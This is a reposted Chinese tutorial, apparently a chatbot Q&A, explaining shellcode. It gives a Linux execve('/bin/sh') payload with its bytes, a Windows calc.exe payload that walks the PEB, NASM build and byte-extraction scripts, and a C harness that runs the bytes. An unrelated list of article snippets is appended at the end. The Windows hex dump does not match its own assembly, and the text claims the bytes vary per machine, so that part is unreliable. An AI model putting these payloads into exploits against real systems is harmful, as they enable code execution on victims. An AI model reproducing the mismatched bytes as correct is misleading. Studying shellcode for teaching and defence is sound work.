什么是shellcode

好的,我們來詳細地解釋一下什么是 Shellcode。

核心定義

Shellcode?是一段精煉的、用作有效載荷(Payload)?的機器代碼。它之所以叫這個名字,是因為最初這類代碼的唯一目的就是啟動一個命令行 Shell(例如?/bin/sh),從而讓攻擊者能夠控制被入侵的機器。

如今,這個術語的含義已經擴展,泛指任何被注入到漏洞利用程序(Exploit)中并執行的機器代碼,其功能不再局限于獲取 Shell,也可以是執行其他操作,如創建用戶、下載文件、反彈連接等。


關鍵特性

  1. 機器代碼(Machine Code): Shellcode 不是用高級語言(如 C、Python)寫的,而是直接由 CPU 能夠理解和執行的二進制操作碼(Opcode)組成。它通常由匯編語言編寫,然后編譯成十六進制字符串。

  2. 位置無關代碼(PIC): 這是 Shellcode 一個至關重要的特性。攻擊者在注入代碼時,無法提前知道代碼會被加載到內存的哪個地址執行。因此,Shellcode 必須被設計成不包含任何絕對內存地址。它必須使用相對跳轉和調用,并通過特殊技巧(如?jmp/call/pop?指令)來動態地確定自身在內存中的位置,從而訪問其內部的數據(如字符串)。

  3. 緊湊小巧: 通常,Shellcode 需要通過緩沖區溢出之類的漏洞被注入。這些漏洞所能利用的內存空間(緩沖區)往往非常有限。因此,Shellcode 必須盡可能短小精悍,用最少的字節完成所需的功能。

  4. 避免空字節(Null-Free): 在許多情況下,Shellcode 是通過字符串處理函數(如?strcpy)注入的。這些函數會將在遇到空字節(\x00?時停止拷貝,因為空字節在 C 語言中表示字符串的結束。如果 Shellcode 中間包含空字節,它就會被截斷,導致無法完整注入和執行。因此,編寫 Shellcode 時需要精心選擇指令,避免產生空字節的操作碼。


Shellcode 是如何工作的?

一個典型的漏洞利用過程如下:

  1. 發現漏洞:攻擊者找到一個軟件中的漏洞(如棧溢出、堆溢出、Use-After-Free 等),該漏洞允許向程序的內存中寫入超出預期范圍的數據。
  2. 注入代碼:攻擊者構造一段特殊的數據(通常稱為“Exploit”或“攻擊向量”),這段數據包含了精心設計的?Shellcode
  3. 劫持控制流:利用漏洞,攻擊者覆蓋了函數返回地址、函數指針或異常處理程序等關鍵數據,將程序的執行流程重定向到已被注入內存的 Shellcode 的起始地址。
  4. 執行代碼:CPU 開始執行 Shellcode。由于 Shellcode 是有效的機器碼,它會按照攻擊者的意圖運行。
  5. 達成目標:Shellcode 執行其功能,例如:
    • 啟動一個系統 Shell(/bin/sh?或?cmd.exe)。
    • 建立一個反向 TCP 連接,連接回攻擊者的機器。
    • 下載并執行惡意軟件。
    • 提升當前進程的權限。
    • 修改文件或注冊表。

一個簡單的例子(Linux x86)

下面是一個經典的 Linux x86 Shellcode 的匯編代碼,它的功能是執行?execve(“/bin/sh”, 0, 0)

section .textglobal _start_start:; 將字符串 ‘/bin//sh’ 的地址壓入棧xor eax, eax        ; 將 eax 清零push eax            ; 將字符串結束符 null 壓棧push 0x68732f2f     ; 壓入 ‘hs//’push 0x6e69622f     ; 壓入 ‘nib/’; 設置 execve 的參數mov ebx, esp        ; ebx = 指向 ‘/bin//sh’ 的指針 (filename)mov ecx, eax        ; ecx = 0 (argv)mov edx, eax        ; edx = 0 (envp); 發起系統調用mov al, 11          ; execve 的系統調用號是 11int 0x80            ; 觸發中斷,調用內核

將其編譯并提取操作碼后,得到的 Shellcode 十六進制形式類似于:?\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

這段代碼非常短,沒有絕對地址(使用棧指針 ESP),并且通過巧妙的指令選擇(如?xor eax, eax?而不是?mov eax, 0)避免了空字節。


現代發展

隨著安全防護技術的進步(如?NX(不可執行內存)ASLR(地址空間布局隨機化)DEP(數據執行保護)),傳統直接將 Shellcode 注入棧或堆并執行的方式變得困難。

因此,出現了更高級的技術:

  • Return-Oriented Programming (ROP):不注入任何新代碼,而是利用程序中已有的代碼片段(gadgets),通過精心編排棧上的返回地址,將這些片段串聯起來達到目的。ROP 鏈是現代漏洞利用中取代傳統 Shellcode 的常見手段。
  • Egg Hunting:當空間不足時,先注入一小段代碼(egg hunter),它的任務是在內存中搜索另一塊更大的主要 Shellcode(通過一個特定的標記“egg”來識別),然后跳轉到那里執行。

總結

特性描述
本質一段精煉的、用作有效載荷的機器代碼
目的最初是啟動一個 Shell,現在泛指漏洞利用中執行的任何惡意代碼。
關鍵要求位置無關緊湊避免空字節
如何工作通過漏洞注入內存,并劫持程序控制流來執行它。
現代挑戰安全機制(NX, ASLR)使得傳統 Shellcode 更難執行,催生了 ROP 等技術。

簡單來說,Shellcode 就是漏洞利用的“子彈”,是最終實現攻擊者意圖的那段核心代碼。

能否舉一個例子,Windows Shellcode的匯編代碼 好的,當然可以。這是一個經典的?Windows x86 Shellcode?的例子,它的功能是彈出 Windows 計算器(calc.exe)。這是一個非常常見的“概念證明”(Proof-of-Concept)Shellcode,因為它無害但能清晰地證明代碼執行成功了。

代碼功能分析

在 Windows 上,啟動一個程序最常用的 API 函數是?WinExec?或?CreateProcess。這個例子我們將使用?WinExec,因為它更簡單。

我們的目標是讓 Shellcode 執行這條 C 代碼:

WinExec("calc.exe", 1);

為了實現這個目標,Shellcode 需要完成以下幾個步驟:

  1. 定位 WinExec 的地址:因為 Shellcode 被注入到不同進程中,WinExec?的地址每次都可能不同。我們需要動態解析它。
  2. 將字符串 "calc.exe" 存入內存:需要將字符串以 null 結尾的形式放入寄存器或棧中。
  3. 設置函數參數:按照?stdcall?調用約定,將參數從右向左壓棧。
  4. 調用函數:使用?call?或?jmp?指令跳轉到?WinExec?的地址。

匯編代碼示例 (x86)

下面的匯編代碼使用了在 Windows Shellcode 中非常經典的?“通過 PEB 遍歷獲取 Kernel32.dll 基地址,并解析 WinExec 地址”?的技術。

section .textglobal _start_start:jmp short get_data       ; 1. 跳轉到獲取數據的地方; 2. 定義回調函數(用于動態獲取API地址)
resolve_api:mov ebp, [esp]           ; 將返回地址(指向API名稱字符串)存入ebpxor eax, eax             ; 清空eaxmov edx, [fs:eax+0x30]   ; 從TEB->PEB獲取PEB地址mov edx, [edx+0x0C]      ; PEB->Ldrmov edx, [edx+0x14]      ; PEB->Ldr.InMemoryOrderModuleList.Flink (第一個模塊); 遍歷模塊列表尋找kernel32.dll
next_module:mov esi, [edx+0x28]      ; 獲取模塊基名(UNICODE_STRING)movzx ecx, word [edx+0x26] ; 獲取名稱長度xor edi, edi             ; 清空edi,用于計算哈希; 計算模塊名稱哈希(一種常見的規避技術,避免直接字符串比較)
loop_modname:lodsb                    ; 加載一個字節(ANSI)test al, aljz check_hashcmp al, 'a'jl not_lowercasesub al, 0x20             ; 轉換為大寫
not_lowercase:rol edi, 7               ; 循環左移7位add edi, eax             ; 將字符加到哈希中jmp short loop_modname
check_hash:cmp edi, 0x6A4ABC5B      ; 這是 "KERNEL32.dll" 的預計算哈希值jne next_module; 找到kernel32.dll,現在解析其導出表mov edx, [edx+0x10]      ; 獲取DLL基地址mov eax, edx             ; eax = kernel32.dll 基地址; ... (這里省略了復雜的導出表解析循環,通常會用哈希比較API名稱) ...; 假設我們通過解析,成功將WinExec的地址放入了eaxjmp short execute_code   ; 跳轉到執行部分; 3. 獲取數據(字符串)
get_data:call resolve_api         ; 調用函數,同時將字符串地址壓棧; 這里定義要使用的API函數名稱和命令字符串db 'WinExec',0           ; API名稱字符串db 'calc.exe',0          ; 要執行的命令字符串; 4. 執行核心功能
execute_code:; 此時eax中應該是WinExec的地址mov ebx, eax             ; 將WinExec地址保存到ebx; 將"calc.exe"字符串的地址放入棧中pop esi                  ; pop返回地址,它指向'WinExec',0后面的'calc.exe'push 1                   ; 第二個參數: uCmdShow = 1 (SW_SHOWNORMAL)push esi                 ; 第一個參數: lpCmdLine = "calc.exe"call ebx                 ; 調用WinExec; 退出進程(可選,但為了整潔)push 0                   ; exit code; 同樣需要解析ExitProcess的地址,這里為了簡化,我們直接使用jmp $; 在實際Shellcode中,你會像找WinExec一樣找到ExitProcess并調用它jmp $                    ; 無限循環(在實際利用中,這可能導致崩潰,但用于演示)

關鍵技術與挑戰

  1. 動態解析API地址

    • 現代操作系統使用?ASLR,所以像?WinExec?這樣的函數地址每次啟動都不同。
    • Shellcode 通過遍歷進程的?PEB(進程環境塊)?和?LDR_MODULE 鏈表?來先找到?kernel32.dll?的基地址。
    • 然后解析?kernel32.dll?的導出表(EAT),通過函數名稱的哈希值(而不是明文字符串,為了節省空間和規避檢測)來查找?WinExec?的實際地址。
  2. 避免空字節

    • 注意指令的選擇。例如,使用?xor eax, eax?來清零寄存器,而不是?mov eax, 0,因為后者的編譯結果可能包含空字節。
  3. 獲取數據地址

    • 使用?call/pop?技巧來動態獲取存儲在代碼中的字符串(如?"calc.exe")的地址。call?指令會將下一條指令的地址(即字符串的地址)壓入棧中。

實際可用的形式

上面的代碼是一個簡化版的教學示例。在現實中,專家會將其編譯并提取出操作碼(Opcode),形成一串十六進制的字節序列,也就是真正的 Shellcode。它看起來會是這樣的(每臺機器可能不同):

\xeb\x2e\x5b\x8b\xec\x33\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x66\x8b\x4a\x26\x33\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x03\xf8\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a\x75\xe9\x8b\x52\x10\x8b\xc2\xeb\x0c\xe8\xcd\xff\xff\xff\x57\x69\x6e\x45\x78\x65\x63\x00\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x8b\xd8\x5e\x6a\x01\x56\xff\xd3\x6a\x00\xeb\xfe

這段十六進制代碼可以被嵌入到 C 或 Python 的漏洞利用腳本中,作為 payload 注入。

總結

這個 Windows Shellcode 的例子展示了其核心復雜性:它必須完全自包含,不依賴任何固定地址,并能在陌生的運行時環境中智能地定位所需的功能。這遠不是簡單的機器代碼,而是經過精心設計的、適應性強的一段程序。

上面的例子中,怎樣將匯編代碼編譯并提取操作碼,最終形成shellcode? 好的,這是一個非常關鍵的步驟。我們將以之前那個彈出計算器的 Windows x86 Shellcode?的簡化版為例,詳細講解從匯編代碼到最終 Shellcode 字節流的完整過程。

為了教學清晰,我們使用一個更簡單、更直接的代碼版本,它假設我們已經通過其他方法知道了?WinExec?的地址(在實際漏洞中,這通常是通過動態解析獲得的)。

步驟 1:編寫匯編代碼(簡化版)

創建一個文件,例如?shellcode.asm

; shellcode.asm
[BITS 32] ; 生成32位代碼global _start_start:jmp short get_command   ; 1. 跳轉到獲取命令字符串的地方exec_command:; 2. 此時棧頂是字符串"calc.exe"的地址pop ebx                 ; EBX = "calc.exe" 字符串的指針; 3. 將參數壓棧 (從右向左)xor eax, eax            ; 清零EAXpush eax                ; 字符串結尾的NULL(可選,但WinExec可能不需要)push ebx                ; 將字符串指針壓棧 (lpCmdLine); 4. 調用 WinExec; !! 注意:這是一個硬編碼的地址,僅適用于特定系統/Service Pack!; 在真實Shellcode中,這里應該是動態解析出的地址mov eax, 0x768a3c80     ; 將WinExec的地址(示例地址)放入EAXcall eax                ; 調用 WinExec(lpCmdLine); 5. 優雅退出 (同樣需要動態解析ExitProcess)xor eax, eaxpush eax                ; uExitCode = 0mov eax, 0x76891234     ; 假設的ExitProcess地址call eax; 如果沒有ExitProcess,就無限循環(防止崩潰時產生大量錯誤日志,便于調試); jmp short $get_command:call exec_command       ; 6. 調用函數,同時將下一條指令地址(即字符串地址)壓棧db 'calc.exe', 0        ; 7. 這就是要執行的命令字符串db 0                    ; 額外的NULL終止符,確保安全

重要警告:上面的?0x768a3c80?和?0x76891234?是硬編碼的地址。它們幾乎肯定在你的電腦上是錯誤的。真正的 Shellcode 會包含一段復雜的代碼來動態查找這些地址。這里為了演示編譯過程,我們先使用這個簡化版。


步驟 2:編譯和鏈接(使用 NASM 和 Microsoft Linker)

我們需要將匯編代碼編譯成純二進制文件,不包含任何PE頭、重定位表等元數據。

  1. 安裝工具

    • NASM?(Netwide Assembler): 用于編譯匯編代碼。
    • Visual Studio?的命令行工具(如?link.exe)。
  2. 編譯為目標文件 (.obj): 打開?“x86 Native Tools Command Prompt for VS”,導航到?shellcode.asm?所在目錄,運行:

    nasm -f win32 shellcode.asm -o shellcode.obj
    • -f win32:指定輸出格式為 32 位 Windows 目標文件。
  3. 鏈接為可執行文件 (.exe)(可選,用于測試): 為了測試我們的匯編代碼邏輯是否正確,可以先把它鏈接成一個正常的PE文件。

    link /NOLOGO /SUBSYSTEM:CONSOLE /ENTRY:_start shellcode.obj /OUT:test_shellcode.exe
    • /ENTRY:_start:指定入口點為我們的?_start?標簽。
    • 運行?test_shellcode.exe,如果地址正確,它會彈出計算器然后退出。

步驟 3:提取原始操作碼(Shellcode)

我們不需要一個可執行的?.exe?文件,我們只需要其中的代碼段(.text?section)的原始字節。

  1. 使用?objdump?或?ndisasm?反匯編查看(可選)

    objdump -d shellcode.obj -M intel

    這會列出代碼的匯編指令和對應的機器碼,方便你驗證。

  2. 使用十六進制編輯器直接提取: 最直接的方法是使用命令行工具將?.obj?文件的內容以十六進制形式輸出。?推薦使用?xxd?或?hexdump。但Windows默認沒有這些工具,我們可以用 PowerShell 或 Python 替代。

    方法 A:使用 NASM 直接輸出純二進制文件?這是最佳方法。NASM 可以跳過鏈接步驟,直接輸出沒有任何頭文件的原始機器碼。

    nasm -f bin shellcode.asm -o shellcode.bin

    現在?shellcode.bin?文件里就是純粹的 Shellcode 字節。

  3. 查看和格式化 Shellcode: 現在我們有了純二進制文件?shellcode.bin,我們需要將它轉換為能在代碼中使用的格式(如?\x41\x2a\xc3...)。

    使用 Python(最簡單跨平臺的方法): 創建一個?extract.py?文件:

    # extract.py
    with open('shellcode.bin', 'rb') as f:data = f.read()shellcode_str = ''
    for byte in data:shellcode_str += f'\\x{byte:02x}' # 格式化為\x形式print(shellcode_str)# 可選:打印為C/Python數組格式
    print()
    print("C/Python 數組:")
    print(', '.join(f'0x{byte:02x}' for byte in data))

    然后運行:

    python extract.py

    使用 PowerShell

    [byte[]]$shellcode = Get-Content -Path "shellcode.bin" -Encoding Byte
    $hexString = ($shellcode | ForEach-Object { '\x{0:x2}' -f $_ }) -join ''
    Write-Output $hexString

最終輸出

運行上面的 Python 或 PowerShell 腳本后,你會得到類似這樣的輸出:

原始字節流:?\xeb\x1e\x5b\x31\xc0\x50\x53\xb8\x80\x3c\x8a\x76\xff\xd0\x31\xc0\x50\xb8\x34\x12\x89\x76\xff\xd0\xeb\xfe\xe8\xdd\xff\xff\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x00

C/Python 數組格式:?0xeb, 0x1e, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xb8, 0x80, 0x3c, 0x8a, 0x76, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xb8, 0x34, 0x12, 0x89, 0x76, 0xff, 0xd0, 0xeb, 0xfe, 0xe8, 0xdd, 0xff, 0xff, 0xff, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00

現在,這個字符串或數組就是你的?Shellcode。你可以把它嵌入到你的漏洞利用代碼中:

C 語言示例

#include <stdio.h>
#include <string.h>// 我們的Shellcode
unsigned char code[] = \
"\xeb\x1e\x5b\x31\xc0\x50\x53\xb8\x80\x3c\x8a\x76\xff\xd0"
"\x31\xc0\x50\xb8\x34\x12\x89\x76\xff\xd0\xeb\xfe\xe8\xdd"
"\xff\xff\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x00";int main() {printf("Shellcode Length: %d\n", strlen(code));// 將函數指針指向Shellcode并執行int (*ret)() = (int(*)())code;ret();return 0;
}

(注意:在現代系統上編譯此C代碼需要禁用NX保護,例如使用?gcc -z execstack -o test test.c)。

總結流程

  1. 編寫?.asm:用匯編寫出邏輯。
  2. nasm -f bin ...:編譯成純二進制文件(.bin)。這是最關鍵的一步,它避免了任何文件頭。
  3. 編寫提取腳本:用 Python/PowerShell 等腳本將?.bin?文件內容轉換為?\xXX?格式的字符串。
  4. 嵌入利用代碼:將生成的字符串放入你的漏洞利用程序(Exploit)中。

這個過程的核心是?nasm -f bin,它直接生成我們需要的、無任何冗余數據的原始機器碼。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/95975.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/95975.shtml
英文地址,請注明出處:http://en.pswp.cn/web/95975.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

線性代數 | 行圖像 / 列圖像

注&#xff1a;本文為 “線性代數 | 行圖像 / 列圖像” 相關合輯。 圖片清晰度受引文原圖所限。 略作重排&#xff0c;未整理去重。 如有內容異常&#xff0c;請看原文。 MIT 線性代數筆記一 行圖像和列圖像 線性代數行圖像與列圖像解析 herosunly 已于 2022-01-25 15:34:26 …

Batch Normalization:深度學習中的“加速器”與“穩定器”

在深度學習的世界里&#xff0c;神經網絡的訓練常常充滿了挑戰。從復雜的梯度問題到漫長的收斂過程&#xff0c;每一個環節都可能成為阻礙我們前進的絆腳石。而今天&#xff0c;我們要深入探討的 BatchNormalizationBatch NormalizationBatchNormalization&#xff08;批量歸一…

軟考備考①

一、數值及其轉換和數據的表示1、數值及其轉換①任意進制到十進制以二進制為例&#xff0c;以小數點做分割&#xff0c;小數點以左從二的零次方開始&#xff0c;小數點以右從二的負一次方開始。②十進制到任意進制利用短除法③二進制到十六進制分為小數點前和小數點后&#xff…

小程序緩存數據字典

import { getDict } from /api/profile;const CACHE_KEY DICT_CACHE;let dictCache new Map();// 初始化時加載緩存const loadCache () > {const cache uni.getStorageSync(CACHE_KEY);if (cache) {dictCache new Map(JSON.parse(cache));}};// 保存緩存到Storageconst…

Java對象在內存中的布局詳解

1、Java 對象內存布局&#xff08;HotSpot 虛擬機&#xff09;在 ?HotSpot 虛擬機? 中&#xff0c;一個 Java 對象在堆內存中的存儲布局可以分為以下幾個部分&#xff1a;1、對象頭&#xff08;Object Header&#xff09;?對象頭是對象內存布局中最重要的部分之一&#xff0…

鉀元素:從基礎認知到多元應用與前沿探索

一、鉀元素的基礎認知1.1 鉀元素的發現歷程在人類歷史的長河中&#xff0c;鉀的化合物早早就進入了人們的視野&#xff0c;并在生活和生產中得到了應用。古代時期&#xff0c;人們就知曉草木灰里含有鉀草堿&#xff0c;即碳酸鉀 。在日常的洗滌活動中&#xff0c;碳酸鉀發揮了重…

JAiRouter 配置文件重構紀實 ——基于單一職責原則的模塊化拆分與內聚性提升

JAiRouter 配置文件重構紀實 ——基于單一職責原則的模塊化拆分與內聚性提升 文章目錄JAiRouter 配置文件重構紀實 ——基于單一職責原則的模塊化拆分與內聚性提升一、背景&#xff1a;單體 YAML 的“熵增”困境二、重構策略&#xff1a;高內聚、低耦合的模塊化方案2.1 拆分原則…

驚!printf 不往屏幕輸?都是 fd 在搞鬼!爆肝拆解 Linux 文件描述符 + 重定向底層,學會直接在終端橫著走

文 章 目 錄一、文 件1、基 礎 知 識2、C 文 件 接 口&#xff08;1&#xff09;代 碼 示 例&#xff08;2&#xff09;當 前 路 徑&#xff08;3&#xff09;文 件 權 限&#xff08;4&#xff09;w&#xff08;5&#xff09;a&#xff08;6&#xff09;三 個 輸 入 輸 出 流3…

【高分論文密碼】大尺度空間模擬與不確定性分析及數字制圖技術應用

大尺度模擬技術能夠從不同的時空尺度揭示農業生態環境領域的內在機理和時空變化規律&#xff0c;為復雜過程模型的模擬提供技術基礎。一&#xff1a;R語言空間數據及數據挖掘關鍵技術1、R語言空間數據講解及應用特點 1)R語言基礎與數據科學 2)R空間矢量數據 3)R柵格數據2、R語言…

Git 工作流與分支管理實戰:rebase vs merge 對比、沖突解決、規范 Commit Message 與主干穩定性最佳實踐

1. 版本控制與協作流程&#xff08;Git 工作流、分支管理、合并沖突&#xff09; 雖然 Git 用得多&#xff0c;但“rebase vs. merge”、如何解決沖突、如何編寫規范的 commit message、如何維護主干的穩定性&#xff0c;都需要一段時間才能形成體系化的理解。 摘要 在日常團隊…

調試 cuda kernel

調試 CUDA Kernel 并進入 __device__ 函數是 CUDA 開發中一項非常重要的技能。這主要依賴于 NVIDIA 的官方調試器 NVIDIA Nsight Systems (用于系統級分析) 和 NVIDIA Nsight Compute (用于內核級分析) 以及經典的 cuda-gdb (命令行調試器)。 這里將重點介紹兩種最常用和強大的…

GD32自學筆記:4.ADC

while(1)里測試ADC是否正常首先&#xff0c;ADC引腳說明如下&#xff1a;ADC 通道引腳描述ADC_CHANNEL_0PA0端口 A 的引腳 0&#xff0c;可用于模擬信號輸入&#xff0c;如傳感器或外部電壓。ADC_CHANNEL_1PA1端口 A 的引腳 1&#xff0c;常用于模擬輸入&#xff0c;適用于一般…

漸變背景色和漸變字體顏色的實現方法

一、漸變背景色&#xff08;Gradient Background&#xff09;1. 線性漸變&#xff08;Linear Gradient&#xff09;通過 linear-gradient 創建從一種顏色到另一種顏色的線性漸變。代碼示例<div class"linear-gradient"></div><style> .linear-grad…

Wi-Fi技術——傳播與損耗

一、頻段和信道 Wi-Fi通過發射無線電進行傳輸&#xff0c;而無線電的一個重要特性是頻率。 頻段&#xff1a;一個大的頻率范圍&#xff0c;如Wi-Fi工作在2.4GHz、5GHz、6GHz&#xff0c;其并不是一個值&#xff0c;而是一個范圍信道&#xff1a;在每個頻段中劃分小的頻率范圍…

【Mysql-installer-community-8.0.26.0】Mysql 社區版(8.0.26.0) 在Window 系統的默認安裝配置

??大家好&#xff0c;我是練小杰&#xff0c;好久不見了&#xff0c;周末愉快&#xff0c;今天周六了&#xff01;&#xff01;做了CSDN博客才發現&#xff0c;堅持不斷發文是那么的困難&#xff0c;大家都是好樣的&#xff01;&#xff01;&#x1f606; 本文是針對 Mysql 的…

【RabbitMQ】----初識 RabbitMQ

1. MQ 是什么&#xff1f; 在互聯網中&#xff0c;會經常使用 MQ 來作為消息通信服務&#xff0c;我們一起來看一下什么是 MQ 吧&#xff01; 1.1 MQ 本質 【MQ】&#xff08;Message queue&#xff09;&#xff0c;消息隊列&#xff0c;字面意思來看&#xff0c;本質是一個…

深度學習:歸一化技術

在深度學習中&#xff0c;歸一化技術是提高模型訓練效率和性能的重要手段。歸一化通過調整輸入數據的分布&#xff0c;使得模型在訓練過程中更易于收斂&#xff0c;減少過擬合的風險。本文將介紹幾種常見的歸一化技術&#xff0c;包括特征歸一化、批歸一化、層歸一化和實例歸一…

【Javaweb學習|實訓總結|Week1】html基礎,CSS(選擇器、常用樣式、盒子模型、彈性盒布局、CSS定位、動畫),js(基本類型、運算符典例)

開學前三周先進行企業實訓&#xff0c;主要學習Javaweb并實現一些小的項目&#xff0c;本篇筆記主要記錄第一周實訓的知識總結以及個人遇到的問題及解答&#xff0c;用于日后復習回顧和知識鞏固&#xff0c;希望可以幫到同樣在學Javaweb的大家 文章目錄D1html基礎D2塊元素與行…

SQL 拓展指南:不同數據庫差異對比(MySQL/Oracle/SQL Server 基礎區別)

在學習 SQL 的過程中&#xff0c;你可能會發現&#xff1a;同樣的 “建表語句” 在 MySQL 能運行&#xff0c;在 Oracle 卻報錯&#xff1b;“分頁查詢” 的寫法在 SQL Server 和 MySQL 完全不同。這是因為 MySQL、Oracle、SQL Server 是三大主流關系型數據庫&#xff0c;雖都支…

論文閱讀:DMD | Improved Distribution Matching Distillation for Fast Image Synthesis

論文地址&#xff1a;https://arxiv.org/abs/2405.14867 項目官網&#xff1a;https://tianweiy.github.io/dmd2/ 代碼地址&#xff1a;https://github.com/tianweiy/DMD2 發表時間&#xff1a;2024年5月24日 分布匹配蒸餾&#xff08;DMD&#xff09;生成的一步生成器能夠與教…